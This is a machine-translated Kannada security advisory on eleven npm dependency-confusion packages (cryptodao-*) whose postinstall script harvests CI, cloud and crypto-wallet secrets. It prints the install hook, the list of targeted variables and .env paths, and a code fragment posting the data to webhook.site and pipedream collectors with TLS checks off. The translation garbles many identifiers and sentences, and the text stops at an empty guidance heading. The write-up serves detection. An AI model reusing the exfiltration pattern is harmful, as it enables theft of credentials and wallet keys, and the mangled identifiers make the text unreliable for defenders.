ಟಿಎಲ್; ಡಿಆರ್
2026-06-17 ರಂದು, ಒಂದೇ npm ಖಾತೆಯನ್ನು ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಒಂದೇ ಉದ್ದೇಶ ಮತ್ತು ಒಂದೇ ಪೇಲೋಡ್ ಅನ್ನು ಹಂಚಿಕೊಳ್ಳುವ ಹನ್ನೊಂದು ಪ್ಯಾಕೇಜ್ಗಳು. ಅವುಗಳಲ್ಲಿ ಹತ್ತು cryptodao- ಪೂರ್ವಪ್ರತ್ಯಯ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ಹನ್ನೊಂದನೆಯದು ಸ್ಕೋಪ್ಡ್ ಆಗಿದೆ @public-for-cdao/core. ಪ್ರತಿಯೊಂದನ್ನು ಆವೃತ್ತಿಯಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ 99.99.99 ಮತ್ತು ಬೈಟ್-ಒಂದೇ ರೀತಿಯ ರವಾನಿಸುತ್ತದೆ recon.js ಅದು ಚಲಿಸುತ್ತದೆ postinstall.
ಹೆಸರುಗಳು ಹೇಳುವುದೇನೆಂದರೆ. ಅವು ಕ್ರಿಪ್ಟೋ/DAO ಯೋಜನೆಯ ಖಾಸಗಿ ಪರಿಕರ ಸರಪಳಿಯ ಆಂತರಿಕ ಬಿಲ್ಡಿಂಗ್ ಬ್ಲಾಕ್ಗಳಂತೆ ಓದುತ್ತವೆ. ಕೃತಕವಾಗಿ ಉನ್ನತ ಆವೃತ್ತಿಯಲ್ಲಿ ಸಾರ್ವಜನಿಕ npm ನೋಂದಾವಣೆಗೆ ಪ್ರಕಟಿಸಲಾಗಿದೆ, ಅವು ನಿರ್ಮಾಣಕ್ಕಾಗಿ ಕಾಯುತ್ತಿವೆ pipeline ಅದು ಆ ಹೆಸರುಗಳನ್ನು ಪರಿಹರಿಸಲು ಕಾನ್ಫಿಗರ್ ಮಾಡಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ಅದು ಖಾಸಗಿ ನೋಂದಾವಣೆಯ ಮೊದಲು - ಅಥವಾ ಬದಲಿಗೆ - ಸಾರ್ವಜನಿಕ npm ಅನ್ನು ತಲುಪುತ್ತದೆ. ಇದು ಅವಲಂಬನೆಯ ಗೊಂದಲ, ಮತ್ತು ಪೇಲೋಡ್ ನಿಖರವಾಗಿ ಎಲ್ಲಿ ಇಳಿಯಬೇಕೆಂದು ನಿರೀಕ್ಷಿಸುತ್ತದೆಯೋ ಅಲ್ಲಿಗೆ ಟ್ಯೂನ್ ಮಾಡಲಾಗಿದೆ: CI/CD ಓಟಗಾರರು.
ಯಾವಾಗ postinstall ಬೆಂಕಿ, recon.js ಆತಿಥೇಯ ವಿವರಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತದೆ, ಸ್ಥೂಲವಾಗಿ ಗುಡಿಸುತ್ತದೆ ನಲವತ್ತು ಕ್ಲೌಡ್, CI, ಮತ್ತು ಕ್ರಿಪ್ಟೋ-ವ್ಯಾಲೆಟ್ ಪರಿಸರ ವೇರಿಯೇಬಲ್ಗಳು, ಯಾವುದೇ ಓದುತ್ತದೆ .env ಅದು ರಹಸ್ಯ-ಬೇರಿಂಗ್ ಸಾಲುಗಳನ್ನು ಅಕ್ಷರಶಃ ಹುಡುಕಬಹುದು ಮತ್ತು ಫಾರ್ವರ್ಡ್ ಮಾಡಬಹುದು, ನಂತರ ಬಂಡಲ್ ಅನ್ನು ಇಬ್ಬರು ಸಂಗ್ರಾಹಕರಿಗೆ ರವಾನಿಸುತ್ತದೆ - webhook.site ಮತ್ತು ಪೈಪ್ಡ್ರೀಮ್ ಎಂಡ್ಪಾಯಿಂಟ್ - TLS ಪ್ರಮಾಣಪತ್ರ ಪರಿಶೀಲನೆಯನ್ನು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾಗಿದೆ. ಪ್ರತಿಯನ್ನು ಸಹ ಇದರ ಅಡಿಯಲ್ಲಿ ಬರೆಯಲಾಗಿದೆ /tmp.
ತೀವ್ರತೆ: ಹೆಚ್ಚಿನ. ಪ್ರಭಾವಿತ ಪರಿಸರ ವ್ಯವಸ್ಥೆ: npm. ಬರೆಯುವ ಸಮಯದಲ್ಲಿ ಎಲ್ಲಾ ಹನ್ನೊಂದು ಪ್ಯಾಕೇಜ್ಗಳು ಲೈವ್ ಆಗಿದ್ದವು.
ದಾಳಿಯ ಅಂಗರಚನಾಶಾಸ್ತ್ರ
ಈ ಕಾರ್ಯವಿಧಾನವು ನಾಲ್ಕು ಚಲಿಸುವ ಭಾಗಗಳನ್ನು ಹೊಂದಿದೆ, ಮತ್ತು ನಿಮಗೆ ತಿಳಿದ ನಂತರ ಅವುಗಳಲ್ಲಿ ಯಾವುದೂ ಸೂಕ್ಷ್ಮವಾಗಿರುವುದಿಲ್ಲ ಪ್ಯಾಕೇಜ್ ಹೆಸರಿನ ಆಚೆಗೆ ಒಂದು ಪದರವನ್ನು ನೋಡಿ.
1. ಪರಿಹಾರಕ ಆಮಿಷವಾಗಿ ಆವೃತ್ತಿ ಹಣದುಬ್ಬರ. ಪ್ರತಿಯೊಂದು ಪ್ಯಾಕೇಜ್ ಆವೃತ್ತಿಯನ್ನು ಘೋಷಿಸುತ್ತದೆ 99.99.99. ಪ್ಯಾಕೇಜ್ ಮ್ಯಾನೇಜರ್ ಕೇಳಿದಾಗ ಅವಲಂಬನೆ ಗೊಂದಲ ಕೆಲಸ ಮಾಡುತ್ತದೆ, ಆಂತರಿಕ ಹೆಸರು, ಸಾರ್ವಜನಿಕ ನೋಂದಾವಣೆಯನ್ನು ಸಹ ಪರಿಶೀಲಿಸುತ್ತದೆ ಮತ್ತು ಅದು ಅತ್ಯುನ್ನತ ಆವೃತ್ತಿಯನ್ನು ಆಯ್ಕೆ ಮಾಡುತ್ತದೆ finds. ಕ್ಯಾರೆಟ್ ಅಥವಾ ವೈಲ್ಡ್ಕಾರ್ಡ್ ಶ್ರೇಣಿಗಾಗಿ npm ನ ಡೀಫಾಲ್ಟ್ ಆಯ್ಕೆಯು ಪ್ರತಿಯೊಂದು ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾದ ಮೂಲದಲ್ಲಿ ಅತ್ಯುನ್ನತ-ತೃಪ್ತಿಕರ ಆವೃತ್ತಿ; ಎರಡೂ ಖಾಸಗಿಯಾಗಿದ್ದರೆ ಒಂದೇ ಹೆಸರಿಗೆ registry ಮತ್ತು public npm ಉತ್ತರ ಇದ್ದರೆ, ದೊಡ್ಡ ಆವೃತ್ತಿ ಸಂಖ್ಯೆ ಗೆಲ್ಲುತ್ತದೆ. A 99.99.99 ಒಂದು ಯೋಜನೆಯು ಹೊಂದಿರುವ ಯಾವುದೇ ನೈಜ ಆಂತರಿಕ ಆವೃತ್ತಿಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಮೀರಿಸುತ್ತದೆ ತಲುಪಿದೆ, ಆದ್ದರಿಂದ ಖಾಸಗಿ ಮೂಲಕ್ಕೆ ಪಿನ್ ಮಾಡದ ಪರಿಹಾರಕವು ಸಾರ್ವಜನಿಕ — ಮತ್ತು ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಪ್ರತಿಕೂಲ — ನಕಲು. ನಿರ್ವಾಹಕರು ತಿಳಿದುಕೊಳ್ಳಬೇಕಾಗಿಲ್ಲ ಗುರಿಯ ನಿಜವಾದ ಆವೃತ್ತಿ ಸಂಖ್ಯೆಗಳು; ಅಸಂಬದ್ಧ ಗರಿಷ್ಠವನ್ನು ಆರಿಸುವುದರಿಂದ ಯಾವಾಗಲೂ ಸಮಬಲ ಖಾತರಿಪಡಿಸುತ್ತದೆ ಅವರ ದಾರಿಯನ್ನು ಮುರಿಯುತ್ತದೆ.
2. ಅನುಸ್ಥಾಪನೆಯ ನಂತರದ ಟ್ರಿಗ್ಗರ್. ಪ್ಯಾಕೇಜ್ ಪೇಲೋಡ್ ಅನ್ನು ಅನುಸ್ಥಾಪನೆಯಲ್ಲಿ ತಂತಿ ಮಾಡುತ್ತದೆ ಜೀವನ ಚಕ್ರ:
{ "scripts": { "postinstall": "node recon.js" } } ಪ್ಯಾಕೇಜ್ನ ಯಾವುದೇ ಆಮದು ಅಗತ್ಯವಿಲ್ಲ. ಅದನ್ನು ಸ್ಥಾಪಿಸುವುದು - ಇದು CI pipeline ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಮಾಡುತ್ತದೆ - ರನ್ ಆಗುತ್ತದೆ recon.js.
3. ವಿಶಾಲವಾದ ರಹಸ್ಯ ಪರಿಶೀಲನೆ. recon.js ಹಂತಗಳಲ್ಲಿ ಫಲಿತಾಂಶಗಳ ಶ್ರೇಣಿಯನ್ನು ಜೋಡಿಸುತ್ತದೆ:
- ಹೋಸ್ಟ್ ಸಂದರ್ಭ: ಹೋಸ್ಟ್ ಹೆಸರು, ಪ್ಲಾಟ್ಫಾರ್ಮ್ ಮತ್ತು ಬಿಡುಗಡೆ, ವಾಸ್ತುಶಿಲ್ಪ, ಬಳಕೆದಾರಹೆಸರು, ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ ಡೈರೆಕ್ಟರಿ.
- ಪರಿಸರ ವೇರಿಯೇಬಲ್ಗಳು: ಇದು ಸುಮಾರು ನಲವತ್ತು ಹೆಸರುಗಳು ಮತ್ತು ದಾಖಲೆಗಳ ಸ್ಥಿರ ಪಟ್ಟಿಯನ್ನು ಪುನರಾವರ್ತಿಸುತ್ತದೆ. ಹೊಂದಿಸಲಾದ ಯಾವುದಾದರೂ. ಪಟ್ಟಿ ಬಹಿರಂಗಪಡಿಸುತ್ತಿದೆ - ಇದು ಸಾಮಾನ್ಯ CI ಟೋಕನ್ಗಳನ್ನು ಜೋಡಿಸುತ್ತದೆ (CI_JOB_ಟೋಕನ್, CI_ನೋಂದಣಿ_ಗುಪ್ತಪದ, GITLAB_ACCESS_TOKEN) ಮತ್ತು ಮೋಡ ರುಜುವಾತುಗಳು (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_ಅಧಿವೇಶನ_ಟೋಕನ್) ನೋಂದಾವಣೆ ಮತ್ತು ಕಂಟೇನರ್ ರಹಸ್ಯಗಳೊಂದಿಗೆ (NPM_ಟೋಕನ್, ಡಾಕರ್_ಪಾಸ್ವರ್ಡ್, ಹಾರ್ಬರ್_ಪಾಸ್ವರ್ಡ್) ಮತ್ತು ಸ್ಪಷ್ಟವಾಗಿ ಕ್ರಿಪ್ಟೋ-ಫ್ಲೇವರ್ಡ್ ಕ್ಲಸ್ಟರ್: ಖಾಸಗಿ_ಕೀ, ಸ್ಮರಣಾರ್ಥ, ಬೀಜ_ಪದ, ಇನ್ಫುರಾ_ಎಪಿಐ_ಕೀ, ರಸವಿದ್ಯೆ_ಎಪಿಐ_ಕೀ, ಇಥಿಯೋಪಿಯನ್_ಆರ್ಪಿಸಿ, ಬಿಎಸ್ಸಿ_ಆರ್ಪಿಸಿ. ರೆಕಾರ್ಡ್ ಮಾಡಲಾದ ಮೌಲ್ಯಗಳನ್ನು ಮೊದಲ 50 ಅಕ್ಷರಗಳಿಗೆ ಮೊಟಕುಗೊಳಿಸಲಾಗುತ್ತದೆ.
- .env ಫೈಲ್ಗಳು: ಇದು ಮಾರ್ಗಗಳ ಪಟ್ಟಿಯನ್ನು ಪರಿಶೀಲಿಸುತ್ತದೆ — .env, ../.ಇಎನ್ವಿ, /ಆ್ಯಪ್/.ಇಎನ್ವಿ, /ಆ್ಯಪ್/ಬ್ಯಾಕೆಂಡ್/.env, /ಆ್ಯಪ್/ಬಾಟ್/.env, /ಹೋಮ್/ಗಿಟ್ಲ್ಯಾಬ್-ರನ್ನರ್/.env, /ರೂಟ್/.env, ಮತ್ತೆ .ಉತ್ಪಾದನೆ/.ಅಭಿವೃದ್ಧಿ ರೂಪಾಂತರಗಳು — ಮತ್ತು ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಯಾವುದೇ ಫೈಲ್ಗೆ, ಅದು ವಿಷಯಗಳನ್ನು ಸಾಲುಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುವಂತೆ ಫಿಲ್ಟರ್ ಮಾಡುತ್ತದೆ. ಕೀ|ರಹಸ್ಯ|ಟೋಕನ್|ಪಾಸ್|ಖಾಸಗಿ|ಜ್ಞಾಪಕಶಕ್ತಿ ಮತ್ತು ಆ ಸಾಲುಗಳನ್ನು **ಪೂರ್ಣವಾಗಿ, ಮೊಟಕುಗೊಳಿಸದೆ** ಫಲಿತಾಂಶಗಳಿಗೆ ತಳ್ಳುತ್ತದೆ.
- ಬಿಲ್ಡ್-ಹೋಸ್ಟ್ ಸಂದರ್ಭ: ಇದು ಮೊದಲ 20 ನಮೂದುಗಳನ್ನು ಪಟ್ಟಿ ಮಾಡುತ್ತದೆ /ನಿರ್ಮಿಸುತ್ತದೆ/, /ಹೋಮ್/ಗಿಟ್ಲ್ಯಾಬ್-ರನ್ನರ್/ಬಿಲ್ಡ್ಸ್/, /var/lib/gitlab-ರನ್ನರ್/, ಮತ್ತು / tmp /.
ಮಾರ್ಗ ಪಟ್ಟಿ ಮತ್ತು ವೇರಿಯೇಬಲ್ ಪಟ್ಟಿಯನ್ನು GitLab ರನ್ನರ್ಗಳ ಕಡೆಗೆ ತೂಕ ಮಾಡಲಾಗುತ್ತದೆ, ಇದು ಸೂಚಿಸುತ್ತದೆ ಡೆವಲಪರ್ಗಿಂತ ಸ್ವಯಂ-ಹೋಸ್ಟ್ ಮಾಡಿದ CI ಮೂಲಸೌಕರ್ಯದಲ್ಲಿ ಪೇಲೋಡ್ ನೇರವಾಗಿ ಲ್ಯಾಪ್ಟಾಪ್. ವರ್ಗದ ಪ್ರಕಾರ ಸುಗ್ಗಿಯ ಪಟ್ಟಿಯನ್ನು ಗುಂಪು ಮಾಡುವುದರಿಂದ ಉದ್ದೇಶಿತ ಸಾಗಣೆಯನ್ನು ಸ್ಪಷ್ಟಪಡಿಸುತ್ತದೆ:
| ವರ್ಗ | ವೇರಿಯೇಬಲ್ಗಳು / ತಲುಪಿದ ಮಾರ್ಗಗಳು |
|---|---|
| CI/CD ಗುರುತಿಸುವಿಕೆ ಮತ್ತು ನಿಯೋಜನೆ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ಮೇಘ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| ನೋಂದಣಿ ಮತ್ತು ಕಂಟೇನರ್ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ಡೇಟಾ ಅಂಗಡಿಗಳು | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ಕ್ರಿಪ್ಟೋ / ಬ್ಲಾಕ್ಚೈನ್ | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| ಸಂದೇಶ ಕಳುಹಿಸುವಿಕೆ | SLACK_TOKEN, DISCORD_TOKEN |
| ಡಿಸ್ಕ್ನಲ್ಲಿ | .env ಕುಟುಂಬ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ಡೈರೆಕ್ಟರಿ ಪಟ್ಟಿಗಳು /builds/, /var/lib/gitlab-runner/ |
ಕ್ರಿಪ್ಟೋ ಕ್ಲಸ್ಟರ್ ಇದನ್ನು ಸಾಮಾನ್ಯ CI-ರಹಸ್ಯದಿಂದ ಪ್ರತ್ಯೇಕಿಸುವ ಭಾಗವಾಗಿದೆ. ಸ್ವೀಪ್: ವ್ಯಾಲೆಟ್ ಬೀಜ ಪದಗುಚ್ಛಗಳು ಮತ್ತು ಸಹಿ ಮಾಡುವ ಕೀಲಿಗಳು ಪರಿಸರದಲ್ಲಿ ಮಾತ್ರ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ ಬ್ಲಾಕ್ಚೈನ್ ಯೋಜನೆ, ಮತ್ತು ಅವು ನೇರವಾಗಿ ನಕ್ಷೆ ಮಾಡುತ್ತವೆ ಕ್ರಿಪ್ಟೋಡಾವೊ-/ಚಿಹ್ನೆ/ಒಪ್ಪಂದಗಳು ವಾಹಕಗಳ ಹೆಸರಿಸುವಿಕೆ.
4. ಪರಿಶೀಲನೆ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾದ ಡ್ಯುಯಲ್ ಎಕ್ಸ್ಫಿಲ್ಟ್ರೇಶನ್. ಸಂಗ್ರಹಿಸಿದ ಶ್ರೇಣಿಯು ಧಾರಾವಾಹಿಯಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ ಮತ್ತು ಎರಡು ಗಮ್ಯಸ್ಥಾನಗಳಿಗೆ ಪೋಸ್ಟ್ ಮಾಡಲಾಗಿದೆ:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ಅನಧಿಕೃತ ತಿರಸ್ಕರಿಸಿ: ತಪ್ಪು ಹೊರಹೋಗುವವರಿಗೆ TLS ಪ್ರಮಾಣಪತ್ರ ಪರಿಶೀಲನೆಗಳನ್ನು ಆಫ್ ಮಾಡುತ್ತದೆ ಕರೆಗಳು. ಅದೇ ಡೇಟಾವನ್ನು stdout ಗೆ ಮುದ್ರಿಸಲಾಗುತ್ತದೆ (ಆದ್ದರಿಂದ ಇದು CI ಕೆಲಸದ ದಾಖಲೆಗಳಲ್ಲಿಯೂ ಇಳಿಯುತ್ತದೆ) ಮತ್ತು ಬರೆಯಲಾಗಿದೆ /tmp/.npm_recon_ ಬದಲಾಯಿಸಿ .ಜೆಸನ್ದೋಷಗಳನ್ನು ಮೌನವಾಗಿ ನುಂಗಲಾಗುತ್ತದೆ, ಆದ್ದರಿಂದ a ವಿಫಲವಾದ ಕಳುಹಿಸುವಿಕೆಯು ಅನುಸ್ಥಾಪನೆಯ ಔಟ್ಪುಟ್ನಲ್ಲಿ ಒಂದೇ ಒಂದು ಗುರುತು ಬಿಟ್ಟು ಬೇರೆ ಯಾವುದೇ ಗುರುತು ಬಿಡುವುದಿಲ್ಲ. [ಮರುಪರಿಶೀಲಿಸಿ] ಸ್ಥಾಪಿಸಲಾಗಿದೆ ಲೈನ್.
ಫೈಲ್ನಲ್ಲಿನ ಒಂದು ಪ್ರಮುಖ ಕಾಮೆಂಟ್ ಇದನ್ನು "ಅವಲಂಬನೆ ಗೊಂದಲ" ಎಂದು ವಿವರಿಸುತ್ತದೆ. "ಪರಿಸರ ಮೌಲ್ಯಗಳನ್ನು 50 ಅಕ್ಷರಗಳಿಗೆ ಮೊಟಕುಗೊಳಿಸುವುದರಿಂದ ಪರಿಕಲ್ಪನೆಯ ಪುರಾವೆಯ ಆಕಾರ. ಉಪಸ್ಥಿತಿ-ಮಾತ್ರ ಬೀಕನ್ ಅನ್ನು ದಾಟಿ ಅದನ್ನು ಚಲಿಸುವುದು .env ನಿರ್ವಹಣೆ: ರಹಸ್ಯ-ಬೇರಿಂಗ್ ಮಾರ್ಗಗಳನ್ನು ಪೂರ್ಣವಾಗಿ ರವಾನಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಗಮ್ಯಸ್ಥಾನಗಳು ಕೇವಲ ಎಣಿಕೆಯಾಗುವ ಸಿಂಕ್ ಅಲ್ಲ, ಬದಲಾಗಿ ಎರಡು ಕೆಲಸ ಮಾಡುವ, ದಾಳಿಕೋರ-ನಿಯಂತ್ರಿತ ಸಂಗ್ರಾಹಕಗಳು ಹಿಟ್ಸ್.
ಟೈಮ್ಲೈನ್
ಪ್ರಕಟಣೆಯ ಮಾದರಿಯು ಹನ್ನೊಂದು ಅಲ್ಲ, ಒಂದೇ ಸ್ಕ್ರಿಪ್ಟ್ ಮಾಡಿದ ಪುಶ್ನ ಸಹಿಯಾಗಿದೆ. ಸ್ವತಂತ್ರ ಅಪ್ಲೋಡ್ಗಳು.
| ಸಮಯ (UTC, 2026-06-17) | ಈವೆಂಟ್ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 ಪ್ರಕಟಿಸಿದ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — ಸ್ಕೋಪ್ಡ್ ರೂಪಾಂತರ, ~24 ನಿಮಿಷಗಳ ನಂತರ |
29 ಸೆಕೆಂಡುಗಳ ಕಿಟಕಿಯೊಳಗೆ ಹತ್ತು ಪ್ಯಾಕೇಜ್ಗಳು ಹೊರಬಂದವು, ಸರಿಸುಮಾರು ಪ್ರತಿ ಮೂರು ಸೆಕೆಂಡುಗಳಿಗೊಮ್ಮೆ. ಸ್ಕೋಪ್ಡ್ @public-for-cdao/core ಸುಮಾರು 24 ನಿಮಿಷಗಳ ನಂತರ - ಒಂದು ಸೆಕೆಂಡ್ ಸೇವಿಸುವ ಯೋಜನೆಯು ಉಲ್ಲೇಖಿಸಿದರೆ, ಅದೇ ಗುರಿಗೆ ಹೆಸರಿಸುವ ಸಂಪ್ರದಾಯ ಬರಿಯ ಹೆಸರುಗಳಾಗಿರದೆ, ಒಂದು ವ್ಯಾಪ್ತಿಯಡಿಯಲ್ಲಿ ಆಂತರಿಕ ಪರಿಕರ ಸರಪಳಿ.
ರಾಜಿ ಸೂಚಕಗಳು
| ಪ್ರಕಾರ | ಸೂಚಕ |
|---|---|
| ಕಲೆಕ್ಟರ್ | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| ಕಲೆಕ್ಟರ್ | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ಹುಕ್ ಅನ್ನು ಸ್ಥಾಪಿಸಿ | postinstall: node recon.js |
| ಫೈಲ್ ಅನ್ನು ಕೈಬಿಡಲಾಗಿದೆ | /tmp/.npm_recon_<timestamp>.json |
| ಲಾಗ್ ಮಾರ್ಕರ್ | [recon] <pkg>@<ver> installed on <hostname> (CI ಲಾಗ್ಗಳಲ್ಲಿ stdout) |
| ವರ್ತನೆಯ | rejectUnauthorized: false ಅನುಸ್ಥಾಪನೆಯ ಸಮಯದಲ್ಲಿ ಹೊರಹೋಗುವ HTTPS ನಲ್ಲಿ |
| ಪೇಲೋಡ್ | recon.js, ಎಲ್ಲಾ ಹನ್ನೊಂದು ಪ್ಯಾಕೇಜ್ಗಳಲ್ಲಿ ಒಂದೇ ರೀತಿ ಇದೆ (ಒಂದು ಹಂಚಿಕೆಯ ನಿರ್ಮಾಣ) |
| ಆವೃತ್ತಿ | 99.99.99 ಪ್ರತಿ ಪ್ಯಾಕೇಜ್ನಲ್ಲಿ |
| ಪ್ಯಾಕೇಜುಗಳು | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ಎಲ್ಲಾ 99.99.99) |
| ಪ್ರಕಾಶಕ | aduljune / aduljune@proton.me (ಇಮೇಲ್ ಪರಿಶೀಲಿಸಲಾಗಿಲ್ಲ, ಯಾವುದೇ ಲಿಂಕ್ ಮಾಡಲಾದ ಮೂಲ ಭಂಡಾರವಿಲ್ಲ) |
ಗುಣಲಕ್ಷಣ ಮತ್ತು ಗಮನಿಸಿದ ನಡವಳಿಕೆ
ಕ್ಲಸ್ಟರ್ ಬಗ್ಗೆ ಎಲ್ಲವೂ ಒಂದು ಕೈಯನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಎಲ್ಲಾ ಹನ್ನೊಂದು ಪ್ಯಾಕೇಜ್ಗಳನ್ನು ಪ್ರಕಟಿಸಲಾಗಿದೆ. npm ಖಾತೆಯಿಂದ ಅಡುಲ್ಜೂನ್ (ಅಡುಲ್ಜೂನ್@ಪ್ರೋಟಾನ್.ಮಿ, ಪರಿಶೀಲಿಸದ ವಿಳಾಸ ಸಂಖ್ಯೆ ಇಲ್ಲದೆ ಲಿಂಕ್ಡ್ ಸೋರ್ಸ್ ರೆಪೊಸಿಟರಿ), 25 ನಿಮಿಷಗಳ ಅವಧಿಯಲ್ಲಿ, ಅದೇ ಸಮಯದಲ್ಲಿ 99.99.99 ಆವೃತ್ತಿ, ಸಾಗಣೆ a recon.js ಪ್ರತಿಯೊಂದು ಬೈಟ್ನಲ್ಲೂ ವಿಷಯಗಳು ಒಂದೇ ಆಗಿರುತ್ತವೆ ಪ್ಯಾಕೇಜ್ (ಎಲ್ಲಾ ಹನ್ನೊಂದು ಹೊರತೆಗೆಯಲಾದ ಪ್ರತಿಗಳಲ್ಲಿ MD5 ಹೊಂದಿಕೆಯಾಗುತ್ತದೆ). ಅದು ಒಂದು ಪೇಲೋಡ್ ಆಗಿದೆ. ಹೆಸರುಗಳ ಪಟ್ಟಿಯ ಮೇಲೆ ಸ್ಟ್ಯಾಂಪ್ ಮಾಡಲಾಗಿದೆ, ಸ್ವತಂತ್ರ ಕೋಡ್ ಮರುಬಳಕೆಯಲ್ಲ.
ಹೆಸರಿನ ಪಟ್ಟಿಯು ಉದ್ದೇಶಿತ ಗುರಿಯನ್ನು ವ್ಯಾಖ್ಯಾನಿಸುತ್ತದೆ. ಕ್ರಿಪ್ಟೋಡಾವೊ-* ಮತ್ತು cdao ವಿವರಿಸಿ ಕ್ರಿಪ್ಟೋ/DAO ಯೋಜನೆಯ ಖಾಸಗಿ ಮಾಡ್ಯೂಲ್ ವಿನ್ಯಾಸ ಮತ್ತು ಪೇಲೋಡ್ನ ಕೊಯ್ಲು ಪಟ್ಟಿ ಊಹಿಸುವ ಕನ್ನಡಿಗಳು: ಜೆನೆರಿಕ್ CI ಮತ್ತು ಕ್ಲೌಡ್ ರಹಸ್ಯಗಳ ಜೊತೆಗೆ, ಇದು ನಿರ್ದಿಷ್ಟವಾಗಿ ತಲುಪುತ್ತದೆ ಖಾಸಗಿ_ಕೀ, ಸ್ಮರಣಾರ್ಥ, ಬೀಜ_ಪದ, ಮತ್ತು ಎಥೆರಿಯಮ್/ಬಿಎಸ್ಸಿ ಆರ್ಪಿಸಿ ಮತ್ತು ಪೂರೈಕೆದಾರರ ಕೀಲಿಗಳು. .env ಹುಡುಕಾಟ ಮಾರ್ಗಗಳು ಮತ್ತು ಡೈರೆಕ್ಟರಿ ಪಟ್ಟಿಗಳು GitLab-ರನ್ನರ್ ಆಗಿವೆ. ನಿರ್ದಿಷ್ಟ. ಗಮನಿಸಬಹುದಾದ ಪರಿಣಾಮವೆಂದರೆ ಯಾವುದೇ pipeline ಇವುಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಮೋಸ ಮಾಡಲಾಗಿದೆ ಹೆಸರುಗಳು ಅದರ CI ಟೋಕನ್ಗಳು, ಕ್ಲೌಡ್ ಕೀಗಳು ಮತ್ತು ಆನ್-ಡಿಸ್ಕ್ ಅನ್ನು ಫಾರ್ವರ್ಡ್ ಮಾಡುತ್ತದೆ .env ರಹಸ್ಯಗಳು — ಮತ್ತು, ಒಂದು ಬ್ಲಾಕ್ಚೈನ್ ಯೋಜನೆ, ಅದರ ವ್ಯಾಲೆಟ್ ವಸ್ತು - ಇಬ್ಬರು ಮೂರನೇ ವ್ಯಕ್ತಿಯ ಸಂಗ್ರಾಹಕರಿಗೆ.
ಖಾತೆಯನ್ನು ಯಾರು ನಿರ್ವಹಿಸುತ್ತಾರೆ ಅಥವಾ ಅವರು ಖಾತೆಯೊಂದಿಗೆ ಏನು ಮಾಡಲು ಯೋಜಿಸಿದ್ದಾರೆ ಎಂಬುದರ ಕುರಿತು ನಾವು ಯಾವುದೇ ಹಕ್ಕು ಸಾಧಿಸುವುದಿಲ್ಲ. ದತ್ತಾಂಶ. ತಮ್ಮದೇ ಆದ ಮೇಲೆ ನಿಂತಿರುವ ಸಂಗತಿಗಳು: ಹೆಸರುಗಳು ನಿರ್ದಿಷ್ಟ ಪ್ರಕಾರವನ್ನು ಗುರಿಯಾಗಿರಿಸಿಕೊಳ್ಳುತ್ತವೆ ಆಂತರಿಕ ಪರಿಕರ ಸರಪಳಿ, ಪೇಲೋಡ್ ನಿಜವಾದ ರಹಸ್ಯ ಮೌಲ್ಯಗಳನ್ನು ಓದುತ್ತದೆ ಮತ್ತು ರವಾನಿಸುತ್ತದೆ, ಮತ್ತು ಮೂಲಸೌಕರ್ಯಗಳು ಜೀವಂತವಾಗಿದ್ದವು.
ಪರಿಣಾಮ, ಪ್ರವೃತ್ತಿಗಳು ಮತ್ತು ರಕ್ಷಕ ಮಾರ್ಗದರ್ಶನ
